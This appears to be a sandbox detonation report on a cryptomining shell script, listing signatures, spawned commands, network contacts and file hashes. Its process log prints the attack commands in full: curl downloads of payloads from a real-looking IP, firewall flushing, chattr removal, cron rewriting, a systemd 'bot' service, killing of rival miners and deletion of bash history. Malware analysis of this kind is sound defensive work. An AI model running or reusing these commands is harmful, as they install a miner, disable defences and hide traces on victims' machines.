SHA256 68ca66e809fdb90deb2e84a339b6f295ea3d31d044bf7e382d2a4051bb1e00b0
SHA512 c544856208d6b19155a682b5ab9fa4d76382c83dfa9711123708eb66f5299394c17019b4c66503d6cab5531eae6ab634108c353729485634da84fa0a402e065d

/var/spool/cron/crontabs/tmp.SXi5Id

MD5 8688927ac2d086a0a96bfe38cb197847
SHA1 46cb51343a9203be69db7ef1f9d9471b7bbde7cd
SHA256 3476746b1e738066ed98900cfbea38256a80654b9d16cafa74c92edc09e95e59
SHA512 b71e267141f638bc11b9bd0208c0301daebcea62498b1731b28d599e24ab691afe66114f0e0c6e6194d27f17c288c952b40a3ff71847f508fbb5a16ef8b092ba

/var/spool/cron/crontabs/tmp.4nrvYc

MD5 2fd0c82f355babd07f717b6fcb0d5aed
SHA1 c4595e959a3ba71e3a54701ba3aefa77378ca51c
SHA256 a141071b7ce67fb8826da52782c93cc9508ae1e08a21802d6e8bb21d1cbdf64b
SHA512 4436bd7660cb8f95f59f6d4d6014c85e2bd7cd1c1460fbb2613ac25848a9e286ea42d89275cb73cedc38d0358c0363fb1dc3822a72c0eec26134af7ba4b63ad6

Analysis: behavioral4

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsel-20240226-en

Max time kernel

140s

Max time network

174s

Command Line

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

Signatures

Modifies the dynamic linker configuration file

exection persistence privilege_escalation defense_evasion
Description Indicator Process Target
File opened for modification /etc/ld.so.preload /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.Atk6eu /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Tww0yg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.oAWyMn /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.KGO7vp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.rQZUvx /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.C8yYex /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.UeztWL /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.vdUyUs /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Px4nKG /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Y8SXF7 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Qo7koh /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.bnTwy0 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.LH4olH /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.6H0B3b /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.jIwe9t /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.jjbLRp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.qFum0W /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QTyz4r /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.j4tRER /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.2bKUky /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.zvIIUJ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.S4rlQf /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Yv6c3g /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Y4uzyu /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.h5kvXZ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.jaCQGH /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.8BDRze /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.rj2vN1 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.06axD8 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.gfX3hk /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.TgSu7Z /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.wrN691 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.y11aPH /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.bXABnB /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4dFBLk /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.R7Yr4Y /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.P9wgRi /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.12pGNh /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.0YEqtd /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.UzxVQZ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QHJlNU /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.koBKdN /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.TAsMn7 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.uDFNoJ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.D0MP3k /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.9jz8Q7 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.v0JFPb /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.HRKEqf /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.NlDOKb /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.udUgqm /usr/bin/crontab N/A

Enumerates running processes

Modifies systemd

persistence privilege_escalation
Description Indicator Process Target
File opened for modification /lib/systemd/system/bot.service /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/fs/kdbus/0-system/bus /bin/systemctl N/A
File opened for reading /sys/fs/kdbus/0-system/bus /bin/systemctl N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/164/status /usr/bin/pkill N/A
File opened for reading /proc/710/cmdline /usr/bin/pkill N/A
File opened for reading /proc/105/cmdline /bin/ps N/A
File opened for reading /proc/4/status /usr/bin/pkill N/A
File opened for reading /proc/385/cmdline /usr/bin/pkill N/A
File opened for reading /proc/402/cmdline /usr/bin/pkill N/A
File opened for reading /proc/688/status /usr/bin/pkill N/A
File opened for reading /proc/self/fd /usr/bin/xargs N/A
File opened for reading /proc/688/cmdline /usr/bin/pkill N/A
File opened for reading /proc/sys/kernel/osrelease /usr/bin/pkill N/A
File opened for reading /proc/77/status /usr/bin/pkill N/A
File opened for reading /proc/12/stat /bin/ps N/A
File opened for reading /proc/889/cmdline /bin/ps N/A
File opened for reading /proc/756/status /usr/bin/pkill N/A
File opened for reading /proc/810/status /usr/bin/pkill N/A
File opened for reading /proc/527/status /usr/bin/pkill N/A
File opened for reading /proc/74/status /usr/bin/pkill N/A
File opened for reading /proc/5/cmdline /usr/bin/pkill N/A
File opened for reading /proc/366/cmdline /usr/bin/pkill N/A
File opened for reading /proc/245/cmdline /usr/bin/pkill N/A
File opened for reading /proc/340/cmdline /usr/bin/pkill N/A
File opened for reading /proc/386/cmdline /usr/bin/pkill N/A
File opened for reading /proc/74/cmdline /usr/bin/pkill N/A
File opened for reading /proc/16/status /usr/bin/pkill N/A
File opened for reading /proc/73/status /usr/bin/pkill N/A
File opened for reading /proc/9/status /usr/bin/pkill N/A
File opened for reading /proc/365/cmdline /usr/bin/pkill N/A
File opened for reading /proc/22/stat /bin/ps N/A
File opened for reading /proc/245/cmdline /bin/ps N/A
File opened for reading /proc/703/cmdline /usr/bin/pkill N/A
File opened for reading /proc/79/cmdline /usr/bin/pkill N/A
File opened for reading /proc/82/status /bin/ps N/A
File opened for reading /proc/18/status /usr/bin/pkill N/A
File opened for reading /proc/143/status /usr/bin/pkill N/A
File opened for reading /proc/22/status /bin/ps N/A
File opened for reading /proc/37/cmdline /usr/bin/pkill N/A
File opened for reading /proc/365/status /usr/bin/pkill N/A
File opened for reading /proc/37/status /usr/bin/pkill N/A
File opened for reading /proc/164/cmdline /usr/bin/pkill N/A
File opened for reading /proc/336/cmdline /bin/ps N/A
File opened for reading /proc/710/status /usr/bin/pkill N/A
File opened for reading /proc/37/status /usr/bin/pkill N/A
File opened for reading /proc/73/cmdline /bin/ps N/A
File opened for reading /proc/11/status /bin/ps N/A
File opened for reading /proc/18/cmdline /usr/bin/pkill N/A
File opened for reading /proc/82/cmdline /usr/bin/pkill N/A
File opened for reading /proc/718/status /bin/ps N/A
File opened for reading /proc/70/status /usr/bin/pkill N/A
File opened for reading /proc/11/status /usr/bin/pkill N/A
File opened for reading /proc/4/cmdline /usr/bin/pkill N/A
File opened for reading /proc/340/cmdline /usr/bin/pkill N/A
File opened for reading /proc/708/status /bin/ps N/A
File opened for reading /proc/13/cmdline /usr/bin/pkill N/A
File opened for reading /proc/19/cmdline /usr/bin/pkill N/A
File opened for reading /proc/367/status /usr/bin/pkill N/A
File opened for reading /proc/76/cmdline /usr/bin/pkill N/A
File opened for reading /proc/17/cmdline /usr/bin/pkill N/A
File opened for reading /proc/143/cmdline /usr/bin/pkill N/A
File opened for reading /proc/72/status /bin/ps N/A
File opened for reading /proc/385/status /bin/ps N/A
File opened for reading /proc/filesystems /usr/bin/crontab N/A
File opened for reading /proc/16/cmdline /usr/bin/pkill N/A
File opened for reading /proc/143/status /usr/bin/pkill N/A
File opened for reading /proc/24/cmdline /usr/bin/pkill N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A
N/A N/A /bin/sed N/A

Processes

/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

/usr/bin/chattr

[chattr -i /etc/ld.so.preload]

/bin/rm

[rm -f /etc/ld.so.preload]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/id

[id -u]

/bin/ls

[ls -la /etc]

/bin/grep

[grep -e /dev]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep agetty]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/bin/grep

[grep 207.38.87.6]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./udp]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/11]

/bin/cat

[cat /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/bin/grep

[grep ./oka]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep postgres: autovacum]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps ax -o command,pid -www]

/usr/bin/awk

[awk length($1) == 8]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v kinsing]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps ax -o command,pid -www]

/usr/bin/awk

[awk length($1) == 16]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk length($5) == 8]

/bin/ps

[ps ax]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep /tmp/sscks]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/kinsing]

/usr/bin/curl

[curl -o /etc/kinsing http://80.71.158.12/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/kinsing]

/usr/bin/curl

[curl -o /etc/kinsing http://80.71.158.12/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/usr/bin/md5sum

[md5sum /etc/kinsing]

/usr/bin/awk

[awk { print $1 }]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/libsystem.so]

/usr/bin/curl

[curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so]

/bin/chmod

[chmod +x /etc/libsystem.so]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/bin/chmod

[chmod 777 /etc/libsystem.so]

/usr/bin/curl

[curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so]

/bin/chmod

[chmod +x /etc/libsystem.so]

/usr/bin/md5sum

[md5sum /etc/libsystem.so]

/usr/bin/awk

[awk { print $1 }]

/bin/rm

[rm -rf /tmp/kdevtmpfsi]

/bin/chmod

[chmod 777 /etc/kinsing]

/bin/chmod

[chmod +x /etc/kinsing]

/etc/kinsing

[/etc/kinsing]

/usr/bin/id

[id -u]

/bin/systemctl

[systemctl enable bot]

/bin/systemctl

[systemctl start bot]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /_cron/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /31.210.20.181/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /update.sh/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /logo4/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /logo9/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /logo0/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /logo/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /tor2web/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /jpg/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /png/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /tmp/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /zmreplchkr/d]

/bin/sed

[sed /aliyun.one/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /3.215.110.66.one/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /pastebin/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /onion/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /lsd.systemten.org/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /shuf/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /ash/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /mr.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /185.181.10.234/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /localhost.xyz/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /45.137.151.106/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /111.90.159.106/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /github/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /bigd1ck.com/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /xmr.ipzse.com/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /185.181.10.234/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /146.71.79.230/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /122.51.164.83/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /newdat.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /lib.pygensim.com/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /t.amynx.com/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /update.sh/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /systemd-service.sh/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /pg_stat.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sleep/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /oka/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /linux1213/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /#wget/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /#curl/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /zsvc/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /givemexyz/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /world/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /1.sh/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /3.sh/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /workers/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /oracleservice/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/grep

[grep -v grep]

/bin/grep

[grep -e 185.191.32.198]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/rm

[rm -rf /root/.bash_history]

Network

Country Destination Domain Proto
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
UA 80.71.158.12:80 tcp
RU 185.191.32.198:80 tcp

Files

/lib/systemd/system/bot.service

MD5 a3e1220eacdbd3fa5d0117efd5d4dd91
SHA1 b66492d74a517bcd9d230b574b56411476124709
SHA256 05d02411668f4ebd576a24ac61cc84e617bdb66aa819581daa670c65f1a876f0
SHA512 78d27f45518a7fce636ef790ee215b1f47b2939e02cf6c5118897a703cc15ed4c283838d30a275e309304415d2a58e2e4a07d99127ec9ff32221d94e6547ca1f

/var/spool/cron/crontabs/tmp.R7Yr4Y

MD5 4c5e7620e973cf60dae27c71865809db
SHA1 5b410641d7c5f96a56a967749c7ead3557b0568a
SHA256 49d8b9160aae40ce717117bf043afba2ef9f073ac2c0a727040ac7ce860c7c4e
SHA512 c10612b6c12077caf29282913b5a77e0936b3ac0d457de00422fb46cbdabe1f615cb2f9f212c53ae2401b2681068d8d72d94fc409a43ef8f8aa61043b867db74

/var/spool/cron/crontabs/tmp.v0JFPb

MD5 50d38e4542da8e33874ad3a1e852e0cd
SHA1 3c40525687729d0a869f62e6fc00756eff273baf
SHA256 0b647018d48a16b0555a9c76136d874b82d777069d8059ffebb877f0e3c60c40
